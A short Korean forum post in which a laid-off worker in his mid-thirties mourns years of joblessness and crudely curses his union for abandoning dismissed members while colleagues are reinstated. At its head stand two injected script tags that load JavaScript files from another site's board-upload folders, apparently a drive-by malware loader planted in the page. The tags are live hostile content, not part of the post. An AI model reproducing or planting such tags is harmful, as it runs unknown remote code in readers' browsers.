<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 아~~ 또 길고도 추운 겨울이 다가오는구나...
길거리로 내몰린지 벌써 몇해던가 ? 또 한번 찾아오는 춥고도
험한 겨울의길... 나이 30중반의길로 접어드는데 변변한 직장하나없이
하루종일 떠돌아 다니는 처량한 신세..
아이들은 하루가 다르게 커가고 있는데. .
아는 동지들은 다들 복직이되어 보너스니 성과금이니하는데
빽없는자의 설움이던가... 하루하루가 지옥과 같다..
노조에서는 서신 한통없고 제대로된 답글하나 안올리니 뭐이런 개같은지랄이
있나.. 지들 배때지가 불르니 해고자들 따윈 안중에도 없겠지 좇같은 세상
니들이 인간이냐 어디하나 쓰잘떼기없는 노조는 없는만 못한것이다..
제발 관심좀보여라 회사에서 침묵하라고 시키디...?
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